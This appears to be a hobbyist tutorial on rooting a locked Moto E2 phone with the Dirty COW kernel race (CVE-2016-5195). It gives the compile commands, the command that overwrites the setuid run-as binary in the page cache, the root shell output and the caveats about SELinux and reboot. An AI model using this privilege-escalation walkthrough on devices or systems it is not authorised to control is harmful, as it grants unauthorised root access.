< Back to all hacks

#34 Dirty COW Root (CVE-2016-5195)

Dirty COW
Problem
Need root to kill GMS and pm disable packages. Bootloader locked. Kernel 3.10.49 unpatched.
Solution
Dirty COW race condition in copy-on-write. Overwrite /system/bin/run-as to get root shell.
Lesson
Root is temporary (page cache only, not disk). Lost at reboot. SELinux context stays u:r:shell:s0.

Context

The Moto E2 runs Android 6.0 with a locked bootloader and kernel 3.10.49. This kernel was never patched for CVE-2016-5195, a race condition in the Linux copy-on-write (COW) mechanism that was present from kernel 2.6.22 (2007) through 4.8.3 (October 2016). The vulnerability exists in mm/memory.c in the follow_page_pte() function: when a process writes to a private read-only memory mapping, the kernel is supposed to create a copy of the page (copy-on-write). But a race condition between the madvise(MADV_DONTNEED) syscall and the /proc/self/mem write path allows a process to write directly to the original page instead of the copy. This means any file the process can read, it can effectively overwrite in the kernel's page cache.

The target is /system/bin/run-as, a setuid root binary that Android uses to let adb shell enter app sandboxes. Because it runs as uid 0, overwriting it with a custom payload gives us a root shell. The phone's locked bootloader means no custom recovery, no flashing, no fastboot oem unlock — Dirty COW is the only path to root.

Prerequisites

  • Moto E2 (XT1524) with kernel 3.10.49 (unpatched for CVE-2016-5195)
  • Termux installed with clang compiler (pkg install clang)
  • ADB connection (the exploit itself runs on-device, but ADB is needed to push files)

Implementation

Two binaries are compiled in Termux: the Dirty COW exploit itself and the replacement run-as payload. The exploit binary races madvise(MADV_DONTNEED) against /proc/self/mem writes in two threads. One thread repeatedly calls madvise() to discard the private mapping, while the other writes the payload bytes via /proc/self/mem. When the race is won, the payload bytes land in the page cache of the target file instead of a private copy.

// logfix.h — suppress Android log symbol errors during linking
#define __android_log_print(...)
# Compile both binaries in Termux
clang -pthread -include logfix.h -DPRINT -o dirtycow dirtycow.c dcow.c -Wall
clang -o run-as-payload run-as.c -ldl -Wall

The run-as payload is a minimal C program that calls setuid(0) and setgid(0), then execs /system/bin/sh. Because it replaces a setuid binary, the kernel elevates the process to uid 0 before the payload code runs.

# Run the exploit — overwrites /system/bin/run-as in page cache
./dirtycow run-as-payload /system/bin/run-as
# Output: "patch successful, iterations 1"
# Takes 1-5 seconds on the Snapdragon 410

# Get a root shell
/system/bin/run-as
# uid=0(root) gid=0(root)

# Verify
id
# uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0

Verification

# Confirm root:
id
# uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0

# Confirm the binary was overwritten (compare sizes):
ls -la /system/bin/run-as
# Should show the size of your payload, not the original 9.7 KB

# Test that root works for our purpose:
pm disable com.android.browser
# Package com.android.browser new state: disabled

Gotchas

  • Root is temporary. Dirty COW modifies the kernel page cache, not the actual disk. A reboot flushes the page cache, restoring the original /system/bin/run-as. The exploit must be re-run after every reboot
  • SELinux context remains u:r:shell:s0 even with uid 0. This means root can pm disable packages but CANNOT write to /proc/sys/* (sysctl), /data/system/ directly, or call setenforce 0. SELinux domain transitions require the binary to have the correct SELinux label, which page-cache overwrites do not change
  • The exploit is non-deterministic. It usually succeeds in 1-5 seconds (1-3 iterations) on the Snapdragon 410, but occasionally takes longer. If it hangs beyond 30 seconds, Ctrl+C and retry
  • The exploit binary must be compiled ON the phone (Termux clang) or cross-compiled with matching ABI. ARM32 ELF, Android API 23+ linker. Cross-compiled NDK binaries also work but require static linking or matching libc
  • NEVER target /system/bin/app_process32 with this basic payload. That binary is the zygote process — replacing it incorrectly causes a boot loop (see Hack #36 for the correct approach)

Result

MetricBeforeAfter
Root accessNone (locked bootloader)uid=0 via run-as
Exploit timeN/A1-5 seconds
PersistenceN/APage cache only (lost at reboot)
SELinux domainu:r:shell:s0u:r:shell:s0 (unchanged)
Packages disableable~20 (adb shell)51+ (root pm disable)